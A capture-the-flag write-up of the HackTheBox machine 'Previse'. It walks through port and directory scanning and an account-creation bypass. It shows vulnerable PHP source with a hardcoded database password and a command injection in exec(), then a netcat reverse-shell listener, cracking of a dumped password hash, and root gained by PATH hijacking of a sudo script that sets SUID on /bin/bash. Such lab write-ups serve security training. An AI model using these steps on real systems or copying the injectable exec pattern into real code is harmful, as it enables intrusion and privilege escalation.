Previse is an easy rated machine on HackTheBox created by m4lwhere. For the user part we will exploit direct access to the registration form, which will give us access to the source code of the webpage upon logging in. The source code reveals the database credentials and a command injection vulnerability, which leads to a reverse shell. To obtain root we will exploit a path injection in a script we are allowed to run as root with sudo.
User
Nmap
As always we start our enumeration off with a nmap scan against all ports, followed by a script and version detection scan against the open ones to get a full picture of the attack surface.
All ports
1
2
3
4
5
6
7
8
9
10
$ sudo nmap -p- -T4 10.10.11.104
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-07 20:08 GMT
Nmap scan report for 10.10.11.104
Host is up (0.19s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 56.03 seconds
Script and version
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ sudo nmap -p22,80 -sC -sV 10.10.11.104
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-07 20:14 GMT
Nmap scan report for 10.10.11.104
Host is up (0.030s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
| 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.19 seconds
Account creation
There are only 2 ports open on the machine with http being the bigger attack surface so we will start there. Browsing to it we are greeted with a login page.
Since the server is running php we can add this extension to our gobuster scan to retrieve additional files. This also reveals an accounts.php
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-large-words.txt -u http://10.10.11.104/ -x php
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.104/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/raft-large-words.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s
===============================================================
2021/08/07 20:13:17 Starting gobuster in directory enumeration mode
===============================================================
/.php (Status: 403) [Size: 277]
/.html (Status: 403) [Size: 277]
/.html.php (Status: 403) [Size: 277]
/login.php (Status: 200) [Size: 2224]
/js (Status: 301) [Size: 309] [--> http://10.10.11.104/js/]
/index.php (Status: 302) [Size: 2801] [--> login.php]
/css (Status: 301) [Size: 310] [--> http://10.10.11.104/css/]
/.htm (Status: 403) [Size: 277]
/.htm.php (Status: 403) [Size: 277]
/download.php (Status: 302) [Size: 0] [--> login.php]
/logout.php (Status: 302) [Size: 0] [--> login.php]
/files.php (Status: 302) [Size: 4914] [--> login.php]
/logs.php (Status: 302) [Size: 0] [--> login.php]
/config.php (Status: 200) [Size: 0]
/footer.php (Status: 200) [Size: 217]
/header.php (Status: 200) [Size: 980]
/. (Status: 302) [Size: 2801] [--> login.php]
/.htaccess (Status: 403) [Size: 277]
/.htaccess.php (Status: 403) [Size: 277]
/accounts.php (Status: 302) [Size: 3994] [--> login.php]
/nav.php (Status: 200) [Size: 1248]
/status.php (Status: 302) [Size: 2968] [--> login.php]
/.phtml (Status: 403) [Size: 277]
Going directly to this page we get redirected to /login.php
, if we however request it directly in burp we can see the source of the page and that it expects 3 parameters to create an account.
Sending a post request with all 3 variables we see that our account was successfully created.
This enables to log into the webpage now.
Source code => command injection
Going over to the files
tab we see a sitebackup.zip
which we can download.
Opening the zip file it seems to indeed contain the source code of the web application.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ unzip sitebackup.zip
Archive: sitebackup.zip
inflating: accounts.php
inflating: config.php
inflating: download.php
inflating: file_logs.php
inflating: files.php
inflating: footer.php
inflating: header.php
inflating: index.php
inflating: login.php
inflating: logout.php
inflating: logs.php
inflating: nav.php
inflating: status.php
Looking at the config.php
we find the credentials to connect to the backend mysql database, which might be usefull later on.
config.php
1
2
3
4
5
6
7
8
9
10
11
12
<?php
function connectDB(){
$host = 'localhost';
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
}
?>
What is very helpful now is the command injection vulnerability in logs.php
. The POST parameter delim
gets directly passed to the exec function which runs a python script.
logs.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
session_start();
if (!isset($_SESSION['user'])) {
header('Location: login.php');
exit;
}
?>
<?php
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
header('Location: login.php');
exit;
}
/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;
$filepath = "/var/www/out.log";
$filename = "out.log";
if(file_exists($filepath)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));
ob_clean(); // Discard data in the output buffer
flush(); // Flush system headers
readfile($filepath);
die();
} else {
http_response_code(404);
die();
}
?>
To exploit this we first set up our ncat listener.
1
2
3
4
$ nc -lvnp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Then we send ourselves a reverse shell with burp in the delim parameter by chaining a command to it with ;
.
After recieving the shell we upgrate it to get a full tty and fix the terminal size.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nc -lvnp 7575
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::7575
Ncat: Listening on 0.0.0.0:7575
Ncat: Connection from 10.10.11.104.
Ncat: Connection from 10.10.11.104:59280.
bash: cannot set terminal process group (1447): Inappropriate ioctl for device
bash: no job control in this shell
www-data@previse:/var/www/html$ python3 -c 'import pty;pty.spawn("/bin/bash")'
<tml$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@previse:/var/www/html$ export TERM=xterm
export TERM=xterm
www-data@previse:/var/www/html$ ^Z
[1]+ Stopped nc -lvnp 7575
$ stty raw -echo;fg
nc -lvnp 7575
www-data@previse:/var/www/html$ stty rows 55 cols 236
Database hash
Since we have the database credentials we can now connect to it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
www-data@previse:/var/www/html$ mysql -u root -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 26
Server version: 5.7.35-0ubuntu0.18.04.1 (Ubuntu)
Copyright (c) 2000, 2021, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
There is only one custom database named previse
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| previse |
| sys |
+--------------------+
5 rows in set (0.00 sec)
mysql> use previse
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
Looking at the tables, accounts
looks particularily interesting.
1
2
3
4
5
6
7
8
mysql> show tables;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts |
| files |
+-------------------+
2 rows in set (0.00 sec)
Getting everything from this table we can retrieve the hash for the user m4lwhere.
1
2
3
4
5
6
7
8
9
mysql> select * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password | created_at |
+----+----------+------------------------------------+---------------------+
| 1 | m4lwhere | $1$๐งllol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
| 2 | whatever | $1$๐งllol$QLnqA0.eAutt05CqQgN2E0 | 2021-08-07 19:33:19 |
| 3 | access | $1$๐งllol$QLnqA0.eAutt05CqQgN2E0 | 2021-08-07 20:27:16 |
+----+----------+------------------------------------+---------------------+
3 rows in set (0.00 sec)
This cracks after some time with hashcat.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ hashcat -m 500 hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v6.1.1) starting...
...[snip]...
$1$๐งllol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!
Session..........: hashcat
Status...........: Cracked
Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)
Hash.Target......: $1$๐งllol$DQpmdvnb7EeuO6UaqRItf.
Time.Started.....: Sat Aug 7 20:49:26 2021 (6 mins, 38 secs)
Time.Estimated...: Sat Aug 7 20:56:04 2021 (0 secs)
Guess.Base.......: File (/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 18660 H/s (6.90ms) @ Accel:256 Loops:125 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 7413760/14344384 (51.68%)
Rejected.........: 0/7413760 (0.00%)
Restore.Point....: 7412736/14344384 (51.68%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:875-1000
Candidates.#1....: ilovecwb -> ilovechloeloads
Started: Sat Aug 7 20:49:12 2021
Stopped: Sat Aug 7 20:56:06 2021
Testing the credentials with ssh we can login and grab the user flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ ssh m4lwhere@10.10.11.104
m4lwhere@10.10.11.104's password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat Aug 7 21:13:54 UTC 2021
System load: 0.0 Processes: 194
Usage of /: 50.2% of 4.85GB Users logged in: 1
Memory usage: 35% IP address for eth0: 10.10.11.104
Swap usage: 0%
0 updates can be applied immediately.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Aug 7 20:59:26 2021 from 10.10.14.3
-bash-4.4$ wc -c user.txt
33 user.txt
Root
Path injection
Looking at sudo permisions we can see m4lwhere can run a bash script as root.
1
2
3
4
m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere:
User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.sh
The script calls two binaries with relative PATH and since the env is not reset this leaves us enough space to inject into the PATH with our own custom version of date
or gzip
.
/opt/scripts/access_backup.sh
1
2
3
4
5
6
7
8
9
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
To do this we create our own custom version of date
first in the /tmp
folder.
/tmp/date
1
2
3
#!/bin/bash
chmod +s /bin/bash
We mark it as executable and adjust the PATH so our date
gets called first. With everything set we can now run the script with sudo.
1
2
3
m4lwhere@previse:~$ chmod +x /tmp/date
m4lwhere@previse:~$ export PATH=/tmp:$PATH
m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh
After running the script we can confirm bash has the suid bit set.
1
2
m4lwhere@previse:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1113504 Jun 6 2019 /bin/bash
This letโs us drop quickly into a root shell and add the root flag to our collection.
1
2
3
m4lwhere@previse:~$ bash -p
bash-4.4# id
uid=1000(m4lwhere) gid=1000(m4lwhere) euid=0(root) egid=0(root) groups=0(root),1000(m4lwhere)
1
2
bash-4.4# wc -c /root/root.txt
33 /root/root.txt